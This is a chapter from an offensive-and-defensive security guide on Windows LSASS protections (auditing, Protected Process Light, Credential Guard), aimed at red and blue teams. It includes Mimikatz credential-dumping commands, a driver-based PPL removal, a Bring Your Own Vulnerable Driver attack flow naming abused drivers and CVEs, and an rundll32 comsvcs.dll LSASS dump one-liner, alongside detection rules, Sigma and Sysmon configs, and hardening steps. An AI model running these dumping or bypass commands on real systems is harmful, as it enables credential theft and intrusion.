Chapter 12: LSASS Protections

Introduction

Before we get into the "how-to" of credential extraction, we have to talk about the "bouncer" at the door. Microsoft hasn't just sat by while tools like Mimikatz became mainstream; they've developed an increasingly sophisticated set of defenses to protect the Local Security Authority Subsystem Service (LSASS). LSASS is the highest-value target on any Windows machine because it's where your hashes, tickets, and (sometimes) passwords live. If you don't understand these protections, you're going to burn your tools and your access the moment you try a dump.

In my experience, about half of the engagements I work on now have at least one of these protections enabled, and that number is only going up. What used to be a simple sekurlsa::logonpasswords command has become a multi-step reconnaissance problem: first you have to figure out what's protecting LSASS, then you have to decide whether to bypass it (if possible), or pivot to alternative credential sources entirely.

In this chapter, we're going to break down the three primary defensive layers: Auditing, Protected Process Light (PPL), and Credential Guard. We'll look at the hardware and software requirements for each, how to identify if they're active, and what the legitimate bypass techniques look like. For the defenders, we'll discuss deployment strategies that actually work to move the needle on security. The goal is to give you a complete mental map of the LSASS protection landscape so you can make informed tactical decisions, regardless of which side of the engagement you're on.

Technical Foundation

Understanding LSASS: The High-Value Target

LSASS (lsass.exe) is a core system process that handles everything related to local security policy, user authentication, and logon sessions. Because it needs to provide Single Sign-On (SSO) capabilities, it caches credentials in its memory space.

What's at stake?:

• NTLM Hashes: For every logged-on user, both interactive and network logons
• Kerberos Tickets: TGTs and service tickets for domain-joined systems
• LSA Secrets: Service account passwords, VPN credentials, and auto-logon passwords
• Plaintext Passwords: In certain (usually older or misconfigured) environments using WDigest
• DPAPI Master Keys: Cached keys for data protection operations
• Smart Card PINs: Cached for SSO with certificate-based authentication

The dilemma for Microsoft was clear: LSASS must hold these secrets to function, but if an Admin can read LSASS memory, they can steal those secrets. The protections we're about to discuss are their attempt to solve that problem.

The Protection Stack Architecture

Microsoft's approach has been defense-in-depth, with three distinct layers:

Protection Layer	Enforcement Point	Bypass Difficulty	Deployment Rate
LSASS Auditing	Event Log System	Cannot bypass (detection only)	~40%
Protected Process Light (PPL)	Kernel Object Manager	High (requires Ring 0)	~60%
Credential Guard	Hypervisor/VBS	Very High (no practical bypass)	~25%

Each layer operates independently, and they can be combined for defense-in-depth. Understanding where in the stack each operates is critical for both attack planning and defensive deployment.

Windows Process Protection Model

Before diving into specifics, let's understand the broader Windows Protected Process model:

Process Protection Hierarchy:
├── Protected Process (PP)
│   └── Highest protection, anti-malware only
├── Protected Process Light (PPL)
│   ├── PPL-Windows (WinTcb)
│   ├── PPL-Antimalware
│   └── PPL-LSA (LSASS)
└── Normal Process
    └── No protection (traditional)

The kernel enforces these protections at the EPROCESS structure level:

// Protection level in EPROCESS structure
typedef struct _PS_PROTECTION {
    UCHAR Type : 3;           // Protected process type
    UCHAR Audit : 1;          // Audit flag
    UCHAR Signer : 4;         // Required signer level
} PS_PROTECTION;

// LSASS PPL values
// Type = 1 (PsProtectedTypeProtectedLight)
// Signer = 4 (PsProtectedSignerLsa)

When LSASS runs as PPL, the kernel's ObpCheckProcessAccessMask() function blocks access requests from lower-protected processes, regardless of the caller's privileges.

LSA Protected Process Light (PPL)

The Kernel Bouncer

Windows has a concept called a Protected Process. This is a security boundary enforced by the kernel that prevents non-protected processes from accessing the memory of a protected one. Protected Process Light (PPL) is a specific level of this defense.

When LSASS is running as a PPL (often referred to as RunAsPPL), even a local Administrator with SeDebugPrivilege cannot open a handle to the process with PROCESS_VM_READ rights.

Enabling and Configuring PPL

Registry-Based Configuration

:: Enable RunAsPPL via registry
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

:: For Windows 11 22H2+, additional flag available
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 2 /f

RunAsPPL Value	Behavior
0	Disabled - no PPL protection
1	Enabled - PPL protection active
2	Enabled with UEFI lock (Windows 11 22H2+)

Group Policy Configuration

Computer Configuration → Administrative Templates → System → Local Security Authority
→ "Configure LSASS to run as a protected process"

Options:
- Disabled
- Enabled with UEFI Lock (most secure)
- Enabled without UEFI Lock

UEFI Variable Lock

On modern systems with UEFI and Secure Boot, Windows also stores this configuration in a UEFI variable (Kernel_Lsa_Ppl_Config). This is critical because it means a simple registry change isn't enough to disable it; the protection will re-enable itself on reboot unless the UEFI variable is also cleared.

# Check for UEFI variable (requires elevated privileges)
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
# Cannot directly query - protected by Secure Boot

# Detection via firmware interface
Get-WmiObject -Query "SELECT * FROM Win32_BIOS" | Select-Object SMBIOSBIOSVersion

The UEFI lock creates a significant barrier because:

1. Registry changes are ineffective - the kernel reads the UEFI variable at boot
2. Clearing the UEFI variable requires physical access or firmware-level exploitation
3. Secure Boot prevents loading unsigned code that could modify the variable

Detecting PPL Status

Method 1: Process Explorer

Process Explorer → lsass.exe → Properties → Security tab
Look for: "Protected: PsProtectedSignerLsa-Light"

Method 2: PowerShell Query

# Check LSASS protection status
$lsass = Get-Process lsass
$protection = (Get-Process lsass).ProtectedProcess
Write-Host "LSASS Protected: $protection"

# More detailed check via WMI
Get-WmiObject Win32_Process -Filter "Name='lsass.exe'" |
    Select-Object Name, ProcessId, @{N='Protected';E={
        $handle = [Kernel32.Methods]::OpenProcess(0x1000, $false, $_.ProcessId)
        if ($handle -eq [IntPtr]::Zero) { "Yes (Access Denied)" } else { "No" }
    }}

Method 3: Registry Check

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

:: Expected output when enabled:
:: RunAsPPL    REG_DWORD    0x1

Method 4: Mimikatz Detection

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

:: If PPL is active, you'll see:
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

PPL Bypass Techniques

To get around PPL, you generally have to move from User Mode (Ring 3) to Kernel Mode (Ring 0).

The Driver Method (mimidrv.sys)

Mimikatz includes a kernel driver (mimidrv.sys) that can reach into the kernel's process structures and flip the bits to remove the protection.

:: Load the driver (requires Administrator + test signing or valid signature)
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove

:: Now standard commands work
mimikatz # sekurlsa::logonpasswords

Requirement	Details
Privileges	Administrator + driver load capability
Signatures	Test signing mode OR signed driver
Detection	Sysmon Event ID 6, ETW driver events
HVCI Impact	Blocked if HVCI enabled

BYOVD (Bring Your Own Vulnerable Driver)

Many attackers use "Bring Your Own Vulnerable Driver" attacks, where they load a legitimate, signed driver that has a known vulnerability, then exploit that driver to disable PPL.

Commonly abused drivers:

Driver	Vendor	Vulnerability	CVE
DBUtil_2_3.sys	Dell	Arbitrary memory R/W	CVE-2021-21551
RTCore64.sys	MSI	Arbitrary memory R/W	CVE-2019-16098
gdrv.sys	Gigabyte	Arbitrary memory R/W	CVE-2018-19320
AsrDrv103.sys	ASRock	Arbitrary memory R/W	N/A

Attack flow:
1. Load signed vulnerable driver
2. Exploit driver to gain kernel read/write
3. Locate LSASS EPROCESS structure
4. Modify PS_PROTECTION to remove PPL
5. Dump LSASS with standard tools

The Minidump Workaround

Sometimes, you can use a legitimate system tool like comsvcs.dll via rundll32.exe to create a memory dump of LSASS. If the bouncer doesn't recognize the tool as a threat, it might let the dump happen, which you can then analyze offline.

:: This technique is often blocked by PPL but worth testing
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full

:: Alternative: Task Manager "Create dump file" (often blocked)

Important: Modern PPL implementations typically block these techniques. However, some edge cases exist where specific dump methods succeed.

Windows Credential Guard

The Isolated Vault

Credential Guard is the most robust defense in the stack. It uses hardware-based virtualization (Virtualization-Based Security or VBS) to create a "Secure Kernel" that is completely isolated from the normal operating system.

The diagram above illustrates the fundamental architecture: the left side shows Virtual Secure Mode (VSM) containing the Isolated LSA and HVCI components, completely separated from the right side where the normal Windows Host OS runs. The Hypervisor sits beneath both, enforced by hardware.

How Credential Guard Works

In a traditional setup, all secrets live in the lsass.exe process. With Credential Guard, the actual secrets are moved into a process called LsaIso.exe (LSA Isolated), which runs inside the virtualized Secure Kernel. The standard lsass.exe becomes a mere proxy—it handles the requests but never actually touches the raw hashes or tickets.

When you see LsaIso.exe in Task Manager (as shown above), you know Credential Guard is active. Notice:

• LsaIso.exe (PID 968) - "Credential Guard" - the isolated vault process
• lsass.exe (PID 980) - "Local Security Authority Process" - now just a proxy

Hardware and Software Requirements

Requirement	Minimum Specification
CPU	Intel VT-x or AMD-V with SLAT
Firmware	UEFI 2.3.1 with Secure Boot
Windows Edition	Enterprise, Education, or Server
TPM	TPM 2.0 recommended
Hypervisor	Windows Hypervisor enabled

Enabling Credential Guard

Via Group Policy

Computer Configuration → Administrative Templates → System → Device Guard
→ "Turn On Virtualization Based Security"

Select:
- Enable Virtualization Based Security: Enabled
- Platform Security Level: Secure Boot and DMA Protection
- Credential Guard Configuration: Enabled with UEFI lock

Via Registry

:: Enable VBS
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f

:: Enable Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags /t REG_DWORD /d 1 /f

:: Reboot required
shutdown /r /t 0

Verifying Credential Guard Status

Method 1: System Information

msinfo32.exe

Look for:
- Virtualization-based security: Running
- Virtualization-based security services running: Credential Guard

Method 2: PowerShell

# Check Device Guard status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# Look for:
# VirtualizationBasedSecurityStatus = 2 (Running)
# SecurityServicesRunning includes 1 (Credential Guard)

Method 3: Process Check

# If LsaIso.exe exists, Credential Guard is active
Get-Process -Name LsaIso -ErrorAction SilentlyContinue
if ($?) { Write-Host "Credential Guard is ACTIVE" -ForegroundColor Red }

The "Hard Truth" About Credential Guard

There is no practical, software-only bypass for Credential Guard from an Admin context. Because it's enforced by the hypervisor and hardware, even kernel-mode code in the normal OS cannot reach into the isolated vault.

Why it's "unbreakable" (for now):

1. Hardware Isolation: The secrets exist in a separate virtual machine
2. Hypervisor Enforcement: The hypervisor prevents the normal OS from accessing VSM memory
3. Sealed Memory: Even DMA attacks are blocked with IOMMU/VT-d
4. Code Integrity: HVCI prevents unsigned code in the secure kernel

Alternative Attack Strategies

Your Move as a Practitioner: If I land on a box with Credential Guard, I pivot my strategy. I stop trying to dump LSASS and start looking for:

Alternative Target	What You Get	Technique
Service Tickets	Kerberos TGS	Still in proxy LSASS
Cached Credentials	DCC2 hashes	SECURITY hive
RDP Credentials	Plaintext	DPAPI/mstsc.exe
Browser Saved Passwords	Various	Chrome/Edge DPAPI
KeePass/1Password	Master key	Process memory
SAM Database	Local hashes	Offline extraction
Network Attacks	Kerberos tickets	Kerberoasting, AS-REP

LSASS Auditing

The Silent Alarm

Auditing doesn't stop the attack, but it ensures you're caught. Microsoft added a default System Access Control List (SACL) to lsass.exe that can log every attempt to read its memory.

Enabling LSASS Auditing

Via auditpol:

:: Enable Kernel Object auditing
auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable

:: Verify configuration
auditpol /get /subcategory:"Kernel Object"

Via Group Policy:

Computer Configuration → Windows Settings → Security Settings →
Advanced Audit Policy Configuration → Object Access →
"Audit Kernel Object" → Success, Failure

The Detection Artifacts

Event ID 4663 - Kernel Object Access

Every time Mimikatz (or any other tool) tries to access LSASS, Windows generates Event ID 4663.

<Event>
  <System>
    <EventID>4663</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-5-21-...</Data>
    <Data Name="SubjectUserName">attacker</Data>
    <Data Name="ObjectType">Process</Data>
    <Data Name="ObjectName">\Device\HarddiskVolume2\Windows\System32\lsass.exe</Data>
    <Data Name="AccessMask">0x10</Data>
    <Data Name="ProcessName">C:\temp\mimikatz.exe</Data>
  </EventData>
</Event>

Field	Detection Value
ObjectName	Contains lsass.exe
AccessMask	0x10 (PROCESS_VM_READ)
ProcessName	Unknown/suspicious process

Event ID 4656 - Handle Request

Generated when a process requests a handle to LSASS:

Access Mask values to monitor:
0x0010 = PROCESS_VM_READ
0x0020 = PROCESS_VM_WRITE
0x0400 = PROCESS_QUERY_INFORMATION
0x1000 = PROCESS_QUERY_LIMITED_INFORMATION

Building an Effective Whitelist

# Example SIEM whitelist for LSASS access
Legitimate_LSASS_Access:
  - ProcessName: "C:\Windows\System32\csrss.exe"
  - ProcessName: "C:\Windows\System32\services.exe"
  - ProcessName: "C:\Windows\System32\svchost.exe"
  - ProcessName: "C:\Program Files\Windows Defender\MsMpEng.exe"
  - ProcessName: "C:\Program Files\CrowdStrike\CSFalconService.exe"
  # Add your specific EDR/AV paths

Alert_On:
  - Any ProcessName not in whitelist
  - ProcessName in user profile directories
  - ProcessName with suspicious characteristics

Detection and Indicators of Compromise

Primary Detection Events

Event ID	Source	Indicator
4663	Security	LSASS memory read attempt
4656	Security	Handle requested to LSASS
4688	Security	Suspicious process creation
6	Sysmon	Driver loaded (potential BYOVD)
7	Sysmon	DLL loaded into LSASS
10	Sysmon	Process access (includes LSASS)
4657	Security	Registry value modified (RunAsPPL)

Registry Modification Detection

Any change to the RunAsPPL registry key or the virtualization settings should be a high-priority alert:

Monitor these registry paths:
- HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL
- HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity
- HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\RequirePlatformSecurityFeatures
- HKLM\SYSTEM\CurrentControlSet\Control\LSA\LsaCfgFlags

Driver Loading Detection

Since bypassing PPL usually requires a driver, monitor for Sysmon Event ID 6 (Driver Loaded):

<Sysmon Event ID="6">
  <RuleName>Suspicious Driver Load</RuleName>
  <UtcTime>2024-01-15 14:30:00</UtcTime>
  <ImageLoaded>C:\Users\attacker\AppData\Local\Temp\evil.sys</ImageLoaded>
  <Signed>false</Signed>
  <Signature>N/A</Signature>
</Sysmon>

Detection criteria:

• Unsigned drivers
• Known-vulnerable driver hashes (maintain a blocklist)
• Drivers loaded from user directories
• Drivers loaded shortly before LSASS access attempts

SIGMA Detection Rules

title: LSASS Memory Access via Suspicious Process
status: experimental
logsource:
    category: process_access
    product: windows
detection:
    selection:
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess:
            - '0x1010'  # PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ
            - '0x1038'  # Common Mimikatz access mask
            - '0x1fffff' # Full access
    filter:
        SourceImage|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Program Files\Windows Defender\'
    condition: selection and not filter
level: high

Defensive Strategies

Strategy 1: Enable Protected Process Light

Deploy PPL with UEFI lock on all systems where possible:

# Deployment script
$systems = Get-ADComputer -Filter * -SearchBase "OU=Workstations,DC=corp,DC=local"

foreach ($system in $systems) {
    Invoke-Command -ComputerName $system.Name -ScriptBlock {
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 2
        Write-Host "PPL enabled on $env:COMPUTERNAME"
    }
}

Strategy 2: Deploy Credential Guard

Prioritize Credential Guard on high-value systems:

• Domain Controllers (consider carefully - may impact compatibility)
• PAW (Privileged Access Workstations)
• Tier 0 administrative systems
• Systems with access to sensitive data

Strategy 3: Enable Comprehensive Auditing

:: Enable all relevant audit categories
auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable

Strategy 4: Deploy Hypervisor-Protected Code Integrity (HVCI)

HVCI prevents unsigned drivers from loading, blocking both mimidrv.sys and most BYOVD attacks:

Group Policy:
Computer Configuration → Administrative Templates → System → Device Guard
→ "Turn On Virtualization Based Security"
→ Virtualization Based Protection of Code Integrity: Enabled with UEFI lock

Strategy 5: Maintain Driver Blocklist

Use Microsoft's recommended driver blocklist or Windows Defender Application Control (WDAC):

<!-- WDAC policy to block vulnerable drivers -->
<FileRules>
    <Deny ID="ID_DENY_DBUTIL" FriendlyName="Dell DBUtil"
          Hash="SHA256:87E38E7AEAAAA..." />
    <Deny ID="ID_DENY_RTCORE" FriendlyName="MSI RTCore"
          Hash="SHA256:01AA278B07B58..." />
</FileRules>

Strategy 6: Implement Attack Surface Reduction

# Enable ASR rule to block credential stealing from LSASS
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled

Strategy 7: Network Segmentation for Tier 0

Implement the tiered administration model to limit exposure of high-privilege credentials:

Tier 0: Domain Controllers, PKI, Credential Guard everywhere
Tier 1: Member servers, isolated VLANs, PPL minimum
Tier 2: Workstations, full monitoring, standard protections

Protection Comparison Matrix

Feature	Auditing	PPL	Credential Guard
Prevents credential theft	No	Partial	Yes
Detects credential theft	Yes	No	N/A
Requires reboot	No	Yes	Yes
Hardware requirements	None	None	VT-x, UEFI, TPM
OS requirements	Vista+	8.1+	Enterprise/Education
Bypass difficulty	N/A	High	Very High
Compatibility impact	None	Low	Medium
Management overhead	Low	Low	Medium

What Gets Protected by Each Layer

Credential Type	Auditing	PPL	Credential Guard
NTLM hashes	Detected	Protected	Isolated
Kerberos TGT	Detected	Protected	Isolated
Kerberos TGS	Detected	Protected	Not isolated
Plaintext passwords	Detected	Protected	Isolated
LSA Secrets	Detected	Protected	Partially isolated
DPAPI keys	Detected	Protected	Not isolated
Cached credentials	Detected	Protected	Not isolated

Operational Considerations

For Red Teams

1. Always enumerate first: Before attempting any credential access, determine what protections are in place
2. Have a backup plan: If Credential Guard is active, immediately pivot to alternative credential sources
3. Consider the noise: BYOVD attacks are increasingly detected; weigh the risk vs. reward
4. Test in similar environments: Lab environments should match target protection levels
5. Document protection status: Include protection enumeration in your engagement notes

For Blue Teams

1. Layer your defenses: Don't rely on a single protection mechanism
2. Monitor for bypass attempts: Detection is still valuable even if PPL blocks the attack
3. Test your protections: Regularly verify that protections are active and functioning
4. Plan for compatibility: Some applications may not work with Credential Guard; test before wide deployment
5. Keep firmware updated: UEFI vulnerabilities could undermine UEFI-locked protections

Compatibility Considerations

Application/Feature	PPL Impact	Credential Guard Impact
Legacy AV/EDR	May require updates	Usually compatible
Smart card authentication	Compatible	Compatible
Windows Hello	Compatible	Compatible
NTLMv1	Compatible	Broken
Unconstrained delegation	Compatible	Broken
MS-CHAPv2	Compatible	Broken
NTLM after Kerberos timeout	Compatible	May fail

Practical Lab Exercises

Exercise 1: Test the Bouncer

Enable RunAsPPL in your lab registry, reboot, and try to run credential extraction:

:: Step 1: Enable PPL
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

:: Step 2: Reboot
shutdown /r /t 0

:: Step 3: After reboot, attempt Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

:: Expected result:
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Exercise 2: Identify the Vault

Verify Credential Guard status:

:: Method 1: System Information
msinfo32.exe
:: Look for "Virtualization-based security" = "Running"

:: Method 2: Check for LsaIso process
tasklist /fi "imagename eq lsaiso.exe"

:: Method 3: PowerShell
Get-Process -Name LsaIso -ErrorAction SilentlyContinue

Exercise 3: Audit the Access

Configure auditing and capture credential theft attempts:

:: Step 1: Enable Kernel Object auditing
auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable

:: Step 2: Run Mimikatz (disable PPL first for this test)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

:: Step 3: Find the event
wevtutil qe Security /q:"*[System[(EventID=4663)]]" /c:10 /f:text
:: Look for ProcessName and AccessMask fields

Exercise 4: Protection Enumeration Script

Create a comprehensive protection status check:

function Get-LSASSProtections {
    $result = @{}

    # Check PPL
    $ppl = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue
    $result["PPL"] = if ($ppl.RunAsPPL -ge 1) { "Enabled (Value: $($ppl.RunAsPPL))" } else { "Disabled" }

    # Check Credential Guard
    $lsaiso = Get-Process -Name LsaIso -ErrorAction SilentlyContinue
    $result["CredentialGuard"] = if ($lsaiso) { "Active (PID: $($lsaiso.Id))" } else { "Not Running" }

    # Check Kernel Object auditing
    $audit = auditpol /get /subcategory:"Kernel Object" 2>$null
    $result["Auditing"] = if ($audit -match "Success and Failure") { "Enabled" } else { "Partial or Disabled" }

    # Check HVCI
    $dg = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard -ErrorAction SilentlyContinue
    $result["HVCI"] = if ($dg.SecurityServicesRunning -contains 2) { "Active" } else { "Not Running" }

    return $result
}

Get-LSASSProtections | Format-Table -AutoSize

Exercise 5: BYOVD Detection Lab

Set up detection for vulnerable driver loading:

# Configure Sysmon to detect driver loads
# sysmon-config.xml excerpt:
@"
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <DriverLoad onmatch="include">
      <Signed condition="is">false</Signed>
    </DriverLoad>
    <DriverLoad onmatch="include">
      <!-- Known vulnerable drivers by hash -->
      <Hashes condition="contains">87E38E7AEAAAA</Hashes>
    </DriverLoad>
  </EventFiltering>
</Sysmon>
"@

# Monitor for Event ID 6
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';ID=6} -MaxEvents 10

Exercise 6: Credential Guard Deployment

Deploy Credential Guard in a test environment:

# Step 1: Check hardware compatibility
systeminfo | findstr /i "Hyper-V"

# Step 2: Enable via registry
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v RequirePlatformSecurityFeatures /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags /t REG_DWORD /d 1 /f

# Step 3: Reboot and verify
# After reboot, run Exercise 2 to confirm activation

Summary

LSASS protections represent a fundamental shift in the Windows security model. Understanding this protection stack is essential for both attackers who need to adapt their techniques and defenders who need to deploy these controls effectively.

Key Takeaways:

1. Auditing ensures there's a record of the attempt—it won't stop an attack, but it ensures detection is possible
2. PPL raises the bar significantly by requiring kernel-mode access to bypass, but determined attackers with driver capabilities can still succeed
3. Credential Guard uses hardware isolation to make traditional memory dumping impossible—this is currently the gold standard for credential protection
4. Defense in depth is critical—deploy all three layers where possible
5. Know your target: As an operator, your first job is to identify which protections are in play and adjust your tradecraft accordingly
6. Pivot when necessary: When Credential Guard is active, focus on alternative credential sources rather than trying to bypass it

The cat-and-mouse game continues, but these protections have significantly raised the cost and complexity of credential theft. Organizations that deploy them comprehensively make themselves much harder targets.

---

Next: Chapter 13: Kernel DriverPrevious: Chapter 11: Terminal Service